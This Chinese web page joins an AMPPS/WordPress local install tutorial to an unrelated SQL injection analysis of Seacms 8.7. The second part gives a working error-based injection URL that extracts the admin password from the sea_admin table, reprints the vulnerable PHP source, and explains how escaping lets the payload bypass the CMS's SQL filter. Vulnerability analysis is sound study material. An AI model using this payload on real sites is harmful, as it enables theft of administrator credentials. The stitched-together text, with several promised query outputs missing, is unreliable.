到要架站,最簡單的方法,就是把自己的電腦變成一臺伺服器,而早期要把自己的電腦變成一臺主機時,相當的麻煩,要先安裝Apahe、MySQL、PHP... .,且一旦安裝完畢后,每當開啟電腦時,就會自動執行,造成電腦緩慢,所以就得手動,將這些服務關閉,再加這些服務也沒有圖形化介面,因此就得用指令的方式,一一的來將它關閉,因此最后梅干就習慣使用MAMP或是USBWebServer,這類型的網站伺服器軟體,一來是圖形化界面,二來是要用再開啟,不用時完全不會影響到電腦效能。
而架設網站,不外乎就是WordPress,雖然說MAMP或是USBWebServer都相當的方便好用,但每當要安裝WordPress時,就得先到WordPress官網中,下載主程式放到網站目錄中,并且再到phpMyAdmin建立資料庫,再把WordPress安裝起來,雖然不難但有點小麻煩,最近發現一套架站神器,不但內建有2百多種的開源平臺,都是一鍵安裝,更棒的是AMPPS還有完整的后臺管理,就像Cpanel一樣,因此在管理更加方便,同時AMPPS還支援Windows、MAC、Liunx....等系統。
軟件名稱: AMPPS
適用平臺: Windows、MAC、Liunx
軟體下載:http://www.ampps.com/downloads
第一步
下載完畢后,只需將「AMPPS」資料夾,拉到右邊的應用程式資料夾,就已完成安裝。
第二步
當安裝完畢,進到AMPPS后,會看到「www」的資料夾,而這就是網站的根目錄。
第三步
接開啟AMPPS后,看到綠色ON表示目前已啟用的服務,預設PHP為5.3,當要修改PHP版本時,點左上角的圖示。
第4步
再選擇「Change PHP Version」鈕。
第5步
這時就可切換所需的PHP版本,目前支援到7.1最新版。
第6步
設定好PHP版本后,再點上方的首頁圖示,就會進入AMPPS的管理畫面,看來與Cpanel有幾分的神似。
第7步
接著左手邊就是各式各樣的開源平臺,當要安裝WordPress時,點選Blogs,再點WordPress。
第8步
再點上方的Install。
第9步
接著設定顯示網址、網站名稱、管理者帳密。
第10步
以及設定WordPress的語系。
第11步
都設定好后,再按下方的「Install」鈕,就會開始進行安裝。
第12步
這樣就安裝完畢了,有沒有簡單呀!同時會看到前后臺的網址。
第13步
點一下,就可看到前臺的畫面。
第14步
AMPPS與MAMP相較下,更加的方便,同時設定與管理上也更加的完整與強大,更酷的是AMPPS是完全Free的啦!因此想學架站的朋友,AMPPS千萬別錯過了。
有些小伙伴剛剛接觸SQL編程,對SQL注入表示不太了解。其實在Web攻防中,SQL注入就是一個技能繁雜項,為了幫助大家能更好的理解和掌握,今天小編將要跟大家分享一下關于Seacms 8.7版本SQL注入分析的內容,一定要認真學習哦。
0x01環境
Web:phpstudy and MAMP
System:Windows 7 X64 and MacOS
Browser:Firefox Quantum and Chrome
MySQL:5.5
php:5.4
0x02漏洞詳情
漏洞復現
payload:
http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
漏洞分析
之前在MySQL 5.6、5.7上面復現都不成功,因為這兩個版本用extractvalue( )、updatexml( )報錯注入不成功,后來換了系統Linux和Windows還有macOS來測試也是一樣,和PHP、Apache的版本沒有影響,還是MySQL的版本問題,所以大家測試的時候注意一下版本。
漏洞文件是在:comment/api/index.php
<?php session_start(); require_once("../../include/common.php"); $id = (isset($gid) && is_numeric($gid)) ? $gid : 0; $page = (isset($page) && is_numeric($page)) ? $page : 1; $type = (isset($type) && is_numeric($type)) ? $type : 1; $pCount = 0; $jsoncachefile = sea_DATA."/cache/review/$type/$id.js"; //緩存第一頁的評論 if($page<2) { if(file_exists($jsoncachefile)) { $json=LoadFile($jsoncachefile); die($json); } } $h = ReadData($id,$page); $rlist = array(); if($page<2) { createTextFile($h,$jsoncachefile); } die($h); function ReadData($id,$page) { global $type,$pCount,$rlist; $ret = array("","",$page,0,10,$type,$id); if($id>0) { $ret[0] = Readmlist($id,$page,$ret[4]); $ret[3] = $pCount; $x = implode(',',$rlist); if(!empty($x)) { $ret[1] = Readrlist($x,1,10000); } } $readData = FormatJson($ret); return $readData; } function Readmlist($id,$page,$size) { global $dsql,$type,$pCount,$rlist; $ml=array(); if($id>0) { $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC"; $rs = $dsql ->GetOne($sqlCount); $pCount = ceil($rs['dd']/$size); $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size "; $dsql->setQuery($sql); $dsql->Execute('commentmlist'); while($row=$dsql->GetArray('commentmlist')) { $row['reply'].=ReadReplyID($id,$row['reply'],$rlist); $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}"; } } $readmlist=join($ml,","); return $readmlist; } function Readrlist($ids,$page,$size) { global $dsql,$type; $rl=array(); $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC"; $dsql->setQuery($sql); $dsql->Execute('commentrlist'); while($row=$dsql->GetArray('commentrlist')) { $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}"; } $readrlist=join($rl,","); return $readrlist; }
傳入$rlist的值為我們構造的SQL語句:
@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`
通過ReadData函數,implode處理后傳入Readrlist函數。
可以看到執行的SQL語句是:
它在$dsql->Execute('commentrlist');這句的時候會有一個SQL的安全檢測。
文件在include/sql.class.php的CheckSql函數
//完整的SQL檢查 while (true) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === false) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (true) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === false) { break; } elseif ($pos2 == false || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
可以看到這里沒有把我們的報錯函數部分代入進去,如果代入進去檢測的話就會在這里檢測到:
后面$clean就是要送去檢測的函數,通過一番處理后得到的值為:
后面返回來執行的SQL語句還是原樣沒動
以上基本分析就完成了。
最終執行的語句:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC
還有一些問題就是構造語句的問題。
剛開始傳入的%27后面怎么變成了轉義后的單引號?
require_once("../../include/common.php");就包含了這個文件,里面有一個_RunMagicQuotes函數,如果PHP配置沒有開啟get_magic_quotes_gpc就會用到這個函數,這個函數是把值經過addslashes函數的處理。此函數的作用是為所有的 ' (單引號), \" (雙引號), \ (反斜線) and 空字符和以會自動轉為含有反斜線的轉義字符。
所以后面的SQL語句就會加上轉義符號,然后經過CheckSql函數的時候就繞過了對報錯語句的檢測。
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; }
為什么要加上``兩個反引號和@?
因in在MySQL里面用法是:
value1必須是一個值,整數型或者文本型都可以,如果用單引號的話就會變成三個轉義\'\'\'
在MySQL上面是作為一個轉義符號來使用,一般為了不讓和系統的變量沖突所以使用,一般在數據庫名、表名、字段名使用,所以這里用@來使這個成為一個變量類型。
后記
在6.53的版本中include/common.php中的44-47行接收到變量:
foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); }
但是在75行這里又重新賦值了:
require_once(sea_DATA."/config.cache.inc.php");
以上是今天的全部內容,大家學會了嗎?